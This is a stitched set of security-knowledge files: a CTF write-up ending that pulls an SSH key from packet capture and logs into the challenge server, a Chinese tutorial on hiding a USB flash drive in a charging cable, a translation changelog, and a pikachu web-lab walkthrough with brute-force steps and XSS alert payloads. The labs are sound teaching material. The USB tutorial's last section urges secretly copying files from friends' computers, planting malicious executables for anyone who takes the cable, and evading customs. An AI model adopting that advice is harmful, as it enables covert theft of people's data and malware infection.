Y3liZXJ0YW5rOlN1cGVyQ3liZXJTZWNyZXQ= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7 ``` The "Authorization (Basic)" header is basically a base-64 encoded string of the username and password, separated by a semicolon: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# echo Y3liZXJ0YW5rOlN1cGVyQ3liZXJTZWNyZXQ= | base64 -d cybertank:SuperCyberSecret ``` Therefore, the password is `SuperCyberSecret`. ## Research server (75 points) > It looks like a key of some sort was transferred and the attacker connected to a system on EC2. Can you gain access to the associated server? > > Hint: the user account is "developer". > > Flag format: CTF{32-hex} We continue scanning through the PCAP file and find the following stream: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# tshark -r cybertank.pcap -qz follow,tcp,ascii,42 | head -n 20 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 42 Node 0: 192.168.164.1:50286 Node 1: 63.32.136.47:22 41 SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 28 SSH-2.0-PuTTY_Release_0.73 1080 ...4..F..Q.vFz......M@....curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1...Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519...lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com...lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none,zlib@openssh.com....none,zlib@openssh.com................... 1168 ......h4..9.p?A%..........curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1...Wssh-ed25519,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,3des-ctr,3des-cbc,blowfish-ctr,blowfish-cbc,arcfour256,arcfour128....aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,3des-ctr,3des-cbc,blowfish-ctr,blowfish-cbc,arcfour256,arcfour128....hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com....hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com....none,zlib,zlib@openssh.com....none,zlib,zlib@openssh.com...............:. 48 ...,..... Fl...-.....,~["gy.N.F...q"4.S..o!"g.N. 208 ..m..`j...P?....VCJ58.i/M..^O).'Ee .W...m...B.c.V?s.o.W0....S....ssh-ed25519...@ ``` This looks like an SSH connection to a remote server. How can we connect too? We go back one stream and see the following: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# tshark -r cybertank.pcap -qz follow,tcp,ascii,41 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 41 Node 0: 192.168.164.1:50285 Node 1: 203.0.113.9:80 575 GET /employees/key_research_server.zip HTTP/1.1 Host: cybertank.tlv Connection: keep-alive Authorization: Basic Y3liZXJ0YW5rOlN1cGVyQ3liZXJTZWNyZXQ= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://cybertank.tlv/employees Accept-Encoding: gzip, deflate Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7 170 HTTP/1.1 200 OK Host: cybertank.tlv Date: Sat, 25 Jan 2020 20:21:02 GMT Connection: close X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1 content-type: application/zip 1460 PK..........9P..y,............CyberTank_Research_Server.pemUT...I.,^h.,^ux.............m....J.Ds....+..A....Ah.(..w..._.w_..v.u...?...(......?OW../.1....?....T."......9S.T..8..oHTIn.....Mr5.....A.......<............."OF.....!%'.t...&..v8*.so..........Ax..:.+8.......y..*6....h.OP..O..I6......q.......i/.no....}A.J..j.W...T'...Z#...;<.*qTS...).F...!........q...c...!)..$......nV....X.NZ.VC.v4..$.ih.J]...-.u....9.@%.......F..*n....D0.e....o.3}.0....qV.;y.A.I....\..B..........?"1.9'.~..4`.y.t7...0..F..'&.pbo..z...PM. .Q..&....$._Ym l.n.`..r....!^....U.9...d.S...Z...t =.J..O...u,Q...{<t.....1JJ'sk....)Z+..(.{.YT|&1C\#v......x.Z..d....NxZ......=.,..nIs...!.(..B.>7...P.!D./.....z..QP....=...z......D..M..X4..M.g.....\..>M%0.!:..z ..jLI....m..=T]..!.6.....>.p.woZ.{|6x.%..9.........k=.5j..H.<.1..$..g $.J.hS.<.t......g2.K.d.=7.s&......sB..^W..c..m.......H.).X.S.I..y...Pmw.+ih.u...N:.Yiy.Px..}N......c.6.1.*....+.....&..XF..=d.....Z..F.X....x.vL.m....1.~.;...b.......#;.>I.V...W9xGV....W.w.V..zU\.(.F..Q..{........jL......+....BN...%`k...w..V8D6h.eJU!S=R .Q..[.:.....`RAA.../.rx..'. .....]..b..rq.E...O.W./...i..n.|..K....).vj....9.........K<..K..."....ip2ePh.v.fA.......'.]'..~.f.?.c......1..:.~.5O...._.....5._PK............9P..y,..........................CyberTank_Research_Server.pemUT...I.,^ux 35 .............PK..........c...^..... =================================================================== ``` The user is requesting `/employees/key_research_server.zip` and receiving a file which contains the string `CyberTank_Research_Server.pem`. `*.pem` is a known extension for certificates and keys. Let's extract the zip file from the stream: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# tshark -r cybertank.pcap -o "tcp.desegment_tcp_streams: TRUE" -o "tcp.no_subdissector_on_error: FALSE" --export-objects "http,exported_objects" | grep zip Running as user "root" and group "root". This could be dangerous. 784 29.321267 192.168.164.1 → 203.0.113.9 HTTP 629 GET /employees/key_research_server.zip HTTP/1.1 50285 80 788 29.325097 203.0.113.9 → 192.168.164.1 HTTP 89 HTTP/1.1 200 OK (application/zip) 80 50285 root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# file exported_objects/key_research_server.zip exported_objects/key_research_server.zip: Zip archive data, at least v2.0 to extract ``` Now, let's extract the file: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# unzip exported_objects/key_research_server.zip Archive: exported_objects/key_research_server.zip inflating: CyberTank_Research_Server.pem root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# file CyberTank_Research_Server.pem CyberTank_Research_Server.pem: PEM RSA private key ``` We can use it to connect to the remote server IP: ```console root@kali:~/CTFs/hackazon/CyberTank_Unsecured# ssh -i CyberTank_Research_Server.pem developer@63.32.136.47 Last login: Tue Jan 28 18:54:25 2020 from 109-186-108-242.bb.netvision.net.il __| __|_ ) _| ( / Amazon Linux 2 AMI ___|\___|___| https://aws.amazon.com/amazon-linux-2/ 3 package(s) needed for security, out of 24 available Run "sudo yum update" to apply all updates. [developer@ip-172-31-1-183 ~]$ cd /home [developer@ip-172-31-1-183 home]$ ls developer ec2-user flag.txt [developer@ip-172-31-1-183 home]$ cat flag.txt CTF{2ca81e4466864f4ee82648b1941f1f61} ```
sec-knowleage
# HID-USBHarpoon > 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [Atomic-Crash](https://github.com/Atomic-Crash) & [r0fus0d](https://github.com/No-Github) <p align="center"> <img src="../../../../../assets/img/banner/HID-USBHarpoon.jpg"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 简介 虽然说U盘体积已经缩小到很小,但是作为一个移动存储设备还是很容易被识别,一眼就能认出。usb 数据线在生活中是很常见的,我们可以用这个 usb 数据线作为载体,与u盘相结合,做一款既便携又能很好隐藏的可移动存储设备,这样当别人看到这跟数据线只会以为是普通的数据线并不会联想到是一个移动存储设备。同时这根数据线要能够往里存储数据,也能够进行充电,这样伪装如同间谍。 **U 盘** U盘是 USB(universal serial bus)盘的简称,据谐音也称“优盘”。U盘是闪存的一种,故有时也称作闪盘。 闪盘:快闪存储器(英语:flash memory),是一种电子式可清除程序化只读存储器的形式,允许在操作中被多次擦或写的存储器。这种科技主要用于一般性数据存储,以及在计算机与其他数字产品间交换传输数据,如储存卡与U盘 闪存是一种非易失性存储器,即断电数据也不会丢失。因为闪存不像 RAM(随机存取存储器)一样以字节为单位改写数据,因此不能取代RAM。 `U盘与硬盘的最大不同是,它不需物理驱动器,即插即用,且其存储容量远超过软盘,极便于携带.` U盘集磁盘存储技术、闪存技术及通用串行总线技术于一体。USB的端口连接电脑,是数据输入/输出的通道;主控芯片使计算机将U盘识别为可移动磁盘,是U盘的“大脑”;U盘Flash(闪存)芯片保存数据,与计算机的内存不同,即使在断电后数据也不会丢失;PCB底板将各部件连接在一起,并提供数据处理的平台。 --- ## 常见存储卡类型 **SD 卡** Secure Digital卡简称SD卡,从字面理解,此卡就是安全卡。它比CF卡以及早期的SM卡在安全性能方面更加出色。是由日本的松下公司、东芝公司和SanDisk公司共同开发的一种全新的存储卡产品,最大的特点就是通过加密功能,保证数据资料的安全保密。 **T-Flash 卡 TF 卡** 全名:TransFLash,由摩托罗拉与SANDISK共同研发,在2004年推出。是一种超小型卡(11*15*1MM),约为SD卡的1/4,可以算目前最小的储存卡了。TF卡可经SD卡转换器后,当SD卡使用。利用适配器可以在使用SD作为存储介质的设备上使用。TransFlash主要是为照相手机拍摄大幅图像以及能够下载较大的视频片段而开发研制的。TransFlash卡可以用来储存个人数据,例如数字照片、MP3、游戏及用于手机的应用和个人数据等,还内设置版权保护管理系统,让下载的音乐、影像及游戏受保护。 --- ## 制作过程 ### 数据线模块 这里我们采用的是 type-c 数据线(micro-usb 口的数据线制作原理相同这里不做赘述),在数据线伪装成U盘的同时,可以对手机进行充电。 1. 图中是一根普通的 type-c 数据线 2. 我们将 usb 的公头剪下来(`注意:不要带电操作`),参考通用的数据线接线图以及 usb 公头接线图(`注意:线的正负极不要混淆,公头的方向不要弄错,两个开口向上时,从左往右依次是GND、D+、D-、vcc`),我们将红黑两根线剥开用于后面的焊接,白绿两根线是用来给手机传输数据的这里剪去不用,因为用了这两根线暂时就没办法使U盘正常与电脑通信(也可以后期进行改造使用这两根线,但是在这里暂且不用)。 3. 同时我们取下 usb 公头的金属外壳,这也是整个环节里最难的部分,因为里面的塑料部分非常的结实。(`注意:在用刀时小心点不要割到手!`) 具体拆解不赘述了,纯手工和技术活,以下就是我们需要用到的配件(`注意:USB金属壳不要有明显的划痕、脏污、形变,这一切都是为了更好的隐藏于环境之中!`) --- ### U盘模块 1. 这次我们选用的是hp的64G迷你U盘,体积非常小,性能比较稳定可靠,内存也是比较大的了。U盘内存大于128G的多半是扩容盘,实际容量可能只有8G或者是32G(依据商家的良心),这种扩容U盘当存储的数据大于它实际容量时可能会崩盘,而且会非常烫,对于存储数据来说很不安全,毕竟没有人愿意用这种U盘而且在关键时刻翻车就很麻烦了。 2. 我们对这个迷你U盘进行拆解外壳,拆解时要小心谨慎,不要弄坏了存储芯片。 下图可以看到,拆解以后有三个模块,U盘存储芯片、金属USB外壳、塑料固定键,这里我们只要U盘存储芯片,因为金属USB外壳上有激光打印的字体,而且看到以后很容易辨识,所以这里不用这个壳子。 存储芯片如下图: --- ### 装配 1. 我们准备好之前拆解的U盘存储芯片和USB金属壳,这里我用了一个USB套件。 2. 接下来我们把数据线焊接在U盘存储芯片上(`注意:不可以长时间焊接U盘存储芯片,长时间高温会剥离U盘存储芯片的覆铜接触片,之后该U盘存储芯片就只能报废`) 3. 调试好线的长度,进行封装,将U盘存储芯片用502粘在USB金属壳内(`注意:要粘合牢固同时注意不要有粘合痕迹`)以下是成品。 --- ### 调试 1. 插入电脑看看U盘是否正常运行。下图可以看到,读取成功! 2. 充电检测,图下可以看出充电正常。 --- ## 使用 从现在起它只是你众多数据线中不起眼的一条,它的主要功能就是隐藏式U盘,你可以插在朋友的电脑上偷偷拷贝文件。你可以提前在U盘里放入恶意的 exe 文件,当有人偷数据线时,作案人如获至宝又不知情的点开里面的文件,就可以买到一个教训,至于教训多大,就看你放的文件厉不厉害。鉴于它的隐藏性,是没有人会仔细翻查数据线的,可以轻松越过各国海关,制作简单,又不易被察觉。 它就在你眼前,不知情的你看它几分像从前!
sec-knowleage
# 文档更新 ## 19/3/2019 1. 修复了 [Isssue#3 第1章 赛前准备——安装(商用 ATT&CK 矩阵 - Windows版,图片内容重复)](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/issues/3)。<br>修改了第一章的图片 1-2.PNG。该图片存在图片内容重复的问题,已经进行替换。<br>感谢 [@MyKings](https://github.com/MyKings) 的宝贵建议。 2. 第1章新增了一张图片 1-16.PNG。 3. 修复了 [Isssue#5 第1章 赛前准备——安装=>设置你的外部服务器(Digital Dcean应为Digital Ocean)](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/issues/5)。<br>感谢 [@WMJ](https://github.com/StefanoWen) 的宝贵建议。 4. 修复了 [Isssue#6 第1章“APT组织与方法持续更新列表”的链接有误](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/issues/6)。<br>感谢 [@dom2q](https://github.com/dom2q) 的宝贵建议。 ## 23/5/2019 感谢 [@y159357](https://github.com/y159357) 的宝贵建议。 >以下是我在复现中遇到的一些问题(如果是我的错误,还请译者纠正):<br> >1.在pdf中34页knockpy的使用中,提到了使用-u参数,我在复现时发现貌似没有这个参数,所以我使用了-w参数<br> >2.在pdf中36页git-all-secrets的使用中,提到了将结果文件从容器中提取到主机,我想那段代码并不完全,在那段代码结尾没有指明将目标文件提取到主机的哪个文件,我想应该改为 docker cp <container-id>:/data/results.txt ./results.txt 改正了第二章里面的两个问题。 ## 3/7/2019 > 首先,我们需要设置一个 VPS 服务器,启用开放到公网的多个端口,用 **PTF** 配置 Metasploit,并用 Meterpreter 攻陷最初的受害者。我们也可以用 Cobalt Strike 或其他框架来实现这一点,但在本例中我们将使用 Meterpreter。 感谢 @蝶离飞 师傅的宝贵建议,已把 `PTF` 更正为 `PTH`。 >如果你幸运地获得了一个 SSH shell,那么我们可以通过该系统进行渗透。我们如何获得 SSH shell 呢?在许多情况下,一旦我们可以实现本地文件包含(LFI)或远程代码执行(RCE),我们可以尝试权限升级以读取 /etc/shadow 文件(和密码破解),或者我们可以利用一些 **Mimimikatz** 风格的方法。 感谢 @蝶离飞 师傅的宝贵建议,已把 `Mimimikatz` 更正为 `Mimikatz`。
sec-knowleage
# pikachu-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶场项目地址** - https://github.com/zhuifengshaonianhanlu/pikachu **知识点** - [Burte Force](#burte_force) - [基于表单的暴力破解](#基于表单的暴力破解) - [验证码绕过(on server)](#验证码绕过(on_server)) - [验证码绕过(on client)](#验证码绕过(on_client)) - [token防爆破?](#token防爆破?) - [XSS](#xss) - [反射型 xss(get)](#反射型xss(get)) - [反射性 xss(post)](#反射性xss(post)) - [存储型 xss](#存储型xss) - [DOM 型 xss](#dom型xss) - [DOM 型 xss-x](#dom型xss-x) - [xss 之盲打](#xss之盲打) - [xss 之过滤](#xss之过滤) - [xss 之 htmlspecialchars](#xss之htmlspecialchars) - [xss 之 href 输出](#xss之href输出) - [xss 之 js 输出](#xss之js输出) - [CSRF](#csrf) - [CSRF(get)](#csrf(get)) - [CSRF(POST)](#csrf(post)) - [CSRF Token](#csrf_token) - [Sql Inject](#sql_inject) - [数字型注入(post)](#数字型注入(post)) - [字符型注入(get)](#字符型注入(get)) - [搜索型注入](#搜索型注入) - [xx 型注入](#xx型注入) - ["insert/update" 注入](#"insert/update"注入) - ["delete" 注入](#"delete"注入) - ["http header" 注入](#"http_header"注入) - [盲注(base on boolian)](#盲注(base_on_boolian)) - [盲注(base on time)](#盲注(base_on_time)) - [宽字节注入](#宽字节注入) - [RCE](#rce) - [exec "ping"](#exec_"ping") - [exec "eval"](#exec_"eval") - [File Inclusion](#file_inclusion) - [本地文件包含](#本地文件包含) - [远程文件包含](#远程文件包含) - [Unsafe Filedownload](#unsafe_filedownload) - [Unsafe Fileupload](#unsafe_fileupload) - [client check](#client_check) - [MIME type](#mime_type) - [getimagesize](#getimagesize) - [Over Permission](#over_permission) - [水平越权](#水平越权) - [垂直越权](#垂直越权) - [../../ 目录遍历](#目录遍历) - [敏感信息泄露](#敏感信息泄露) - [PHP 反序列化](#php反序列化) - [XXE](#xxe) - [URL 重定向](#url重定向) - [SSRF](#ssrf) - [SSRF(curl)](#ssrf(curl)) - [SSRF(file_get_content)](#ssrf(file_get_content)) **实验环境** `环境仅供参考` - phpstudy :http://phpstudy.php.cn/ - Microsoft Windows 10 企业版 LTSC - 10.0.17763 - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali 4.19.0-kali3-amd64 - pikachu - Commits on Feb 9, 2019 --- ## 前言 优秀的 web 基础靶场,与 dvwa 相比 dvwa 更适合教学,pikachu 漏洞种类更多,建议通关顺序 dvwa --> pikachu --- ## 搭建/使用 **windows** 1. 把下载下来的 pikachu 文件夹放到 web 服务器根目录下; 2. 根据实际情况修改 inc/config.inc.php 里面的数据库连接配置; 3. 访问 http://x.x.x.x/pikachu ,会有一个红色的热情提示"欢迎使用,pikachu 还没有初始化,点击进行初始化安装!",点击即可完成安装 --- ## Burte_Force "暴力破解"是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取. 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果. 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作. 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的. 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的"可能性"变的比较高. 这里的认证安全策略, 包括: 1. 是否要求用户设置复杂的密码; 2. 是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp; 3. 是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等); 4. 是否采用了双因素认证; ...等等.千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的! ### 基于表单的暴力破解 **服务器端核心代码** ```php //典型的问题,没有验证码,没有其他控制措施,可以暴力破解 if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){ $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from users where username=? and password=md5(?)"; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss',$username,$password); if($line_pre->execute()){ $line_pre->store_result(); if($line_pre->num_rows>0){ $html.= '<p> login success</p>'; } else{ $html.= '<p> username or password is not exists~</p>'; } } else{ $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>'; } } ``` **漏洞利用** 1. 进入皮卡丘靶场,点进 暴力破解 -> 基于表单的暴力破解; 2. 在账户名和密码栏中随意输入一对账号和密码,如 0 / 0 ; `如果空着直接登录,抓到的包会有问题,返回的长度会都一样` 3. 点击 login,回到 Burp 中查看抓到的数据包,右击选择 'Send to Intruder', 4. 在 Intruder -> Options 中,攻击类型 Attack type 中选择 Cluster bomb(集群爆破),右侧 clear 清除标记; 5. 双击选中先前登录输入的字符位置,将其 add 进字典载入的选项; `注意在载入设置中,对账户名和密码两处都要载入字典进行爆破` 6. 全部设置好后,点击右上的 Start attack,开始爆破。 7. 观察返回的结果页面,点击 Length,可以看到有几个返回长度值特殊的输入,这几组大概率就是被爆破出来的正确账户和密码。 ### 验证码绕过(on_server) **服务器端核心代码** ```php $html=""; if(isset($_POST['submit'])) { if (empty($_POST['username'])) { $html .= "<p class='notice'>用户名不能为空</p>"; } else { if (empty($_POST['password'])) { $html .= "<p class='notice'>密码不能为空</p>"; } else { if (empty($_POST['vcode'])) { $html .= "<p class='notice'>验证码不能为空哦!</p>"; } else { // 验证验证码是否正确 if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) { $html .= "<p class='notice'>验证码输入错误哦!</p>"; //应该在验证完成后,销毁该$_SESSION['vcode'] }else{ $username = $_POST['username']; $password = $_POST['password']; $vcode = $_POST['vcode']; $sql = "select * from users where username=? and password=md5(?)"; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss',$username,$password); if($line_pre->execute()){ $line_pre->store_result(); //虽然前面做了为空判断,但最后,却没有验证验证码!!! if($line_pre->num_rows()==1){ $html.='<p> login success</p>'; }else{ $html.= '<p> username or password is not exists~</p>'; } } else{ $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>'; } } } } } } ``` 服务器端只检查了一次验证码,而后未将验证码过期处理,一直有效,可验证一次重复爆破 **漏洞利用** burpsuite,抓个验证码输入正确的请求,就可以重复爆破了 ### 验证码绕过(on_client) **服务器端核心代码** ```php if(isset($_POST['submit'])){ if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from users where username=? and password=md5(?)"; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss', $username, $password); if ($line_pre->execute()) { $line_pre->store_result(); if ($line_pre->num_rows > 0) { $html .= '<p> login success</p>'; } else { $html .= '<p> username or password is not exists~</p>'; } } else { $html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>'; } }else{ $html .= '<p> please input username and password~</p>'; } } ``` **客户端端核心代码** ```html <script language="javascript" type="text/javascript"> var code; //在全局 定义验证码 function createCode() { code = ""; var codeLength = 5;//验证码的长度 var checkCode = document.getElementById("checkCode"); var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的 for (var i = 0; i < codeLength; i++) { var charIndex = Math.floor(Math.random() * 36); code += selectChar[charIndex]; } //alert(code); if (checkCode) { checkCode.className = "code"; checkCode.value = code; } } function validate() { var inputCode = document.querySelector('#bf_client .vcode').value; if (inputCode.length <= 0) { alert("请输入验证码!"); return false; } else if (inputCode != code) { alert("验证码输入错误!"); createCode();//刷新验证码 return false; } else { return true; } } createCode(); </script> ``` 客户端做验证码验证,服务器端无验证 **漏洞利用** burp 抓个正确的包,把验证码部分直接去掉就可以继续爆破了 ### token防爆破? **服务器端核心代码** ```php if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']==$_SESSION['token']){ $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from users where username=? and password=md5(?)"; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss',$username,$password); if($line_pre->execute()){ $line_pre->store_result(); if($line_pre->num_rows>0){ $html.= '<p> login success</p>'; } else{ $html.= '<p> username or password is not exists~</p>'; } } else{ $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>'; } } //生成token set_token(); ``` **什么是token** 简单的说 token 是由服务端生成的一串字符串,作为客户端向服务端请求的一个标识.在前端使用用户名/密码向服务端发送请求认证,服务端认证成功,那么在服务端会返回 token 给前端,前端在每次请求时会带上服务端发来的 token 来证明自己的合法性. **漏洞利用** burp 抓个正确的包,将以下两个设置为变量 在 Option 中的 Grep Extract 中点击 Add,在点击 Refetch response,找到返回的包,找到来自服务器返回的 token,为了便于查找可以在最下方的输入栏输入 token 直接找到 token 的值 选中 token 的值,复制,同时在选中状态下点击确定,同时在 Option 中的最下方勾选 always,并将线程设置为 1 ,如果不将线程设为1会出现报错 接下来设置 Payloads,对密码的 Payloads 直接导入字典. 对 token 的 Payloads 的参数设置为 Recursive grep,同时在 Payload Options 选中第一项,并将之前复制的 token 值输入到下面的输入栏中.开始爆破. 后面略 --- ## XSS Cross-Site Scripting 简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称 XSS.一般XSS可以分为如下几种常见类型: 1. 反射性XSS; 2. 存储型XSS; 3. DOM型XSS; XSS 漏洞一直被评估为 web 漏洞中危害较大的漏洞,在 OWASP TOP10 的排名中一直属于前三的江湖地位. XSS 是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户. 形成 XSS 漏洞的主要原因是程序对输入和输出没有做合适的处理,导致"精心构造"的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害. 因此在 XSS 漏洞的防范上,一般会采用"对输入进行过滤"和"输出进行转义"的方式进行处理: 1. 输入过滤:对输入进行过滤,不允许可能导致 XSS 攻击的字符输入; 2. 输出转义:根据输出点的位置对输出到前端的内容进行适当转义; **跨站脚本漏洞简单的测试流程** 1. 在目标站点上找到输入点,比如查询接口,留言板等; 2. 输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理; 3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行 js 的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在 XSS 漏洞; ### 反射型xss(get) **服务器端核心代码** ```php if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } } ``` **漏洞利用** 按流程来,为了找到输入点,先提交一组特殊字符+唯一识别字符,再去查看源代码 下图说明输入的字符被直接输入到了这个 P 标签中,这里就存在一个输出点 F12 修改前端数量限制,输入 payload `<script>alert('沵咑礷赇潒礤蒣騉')</script>` 点击提交 刷新一次后就不会进行弹窗,说这仅仅是一次性. ### 反射性xss(post) POST 请求区别与 GET 请求,POST 请求不能从 URL 让用户向服务器提交数据.所以为了进行注入,需要让用户代替攻击者提交 POST 请求,这就需要攻击者自己搭建站点,然后再站点内写一个 POST 表单,将我们搭建出的连接发给用户,这样就能让用户帮攻击者提交 POST 请求发给存在 XSS 漏洞的中.这样就能窃取到用户的 cookie,就能伪造用户登录达到破坏的目的. **服务器端核心代码** ```php if(isset($_POST['submit'])){ if(empty($_POST['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ //下面直接将前端输入的参数原封不动的输出了,出现xss if($_POST['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>"; } } } ``` **漏洞利用** 和上面 get 型一样,但这里不需要 F12 修改输入限制,输入 payload `<script>alert('沵咑礷赇潒礤蒣騉')</script>` 点击提交 ### 存储型xss **服务器端核心代码** ```php if(array_key_exists("message",$_POST) && $_POST['message']!=null){ $message=escape($link, $_POST['message']); $query="insert into message(content,time) values('$message',now())"; $result=execute($link, $query); if(mysqli_affected_rows($link)!=1){ $html.="<p>数据库出现异常,提交失败!</p>"; } } if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ //彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入 $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>"; }else{ $html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>"; } } ``` **漏洞利用** 同之前的思路,先输入一组特殊字符+唯一识别字符,查看源代码,能发现输出点和反射性 XSS 是相同的. 输入 payload `<script>alert('老铁,欧里给!')</script>` 点击提交 再刷新一次,还是会返回设置的 payload 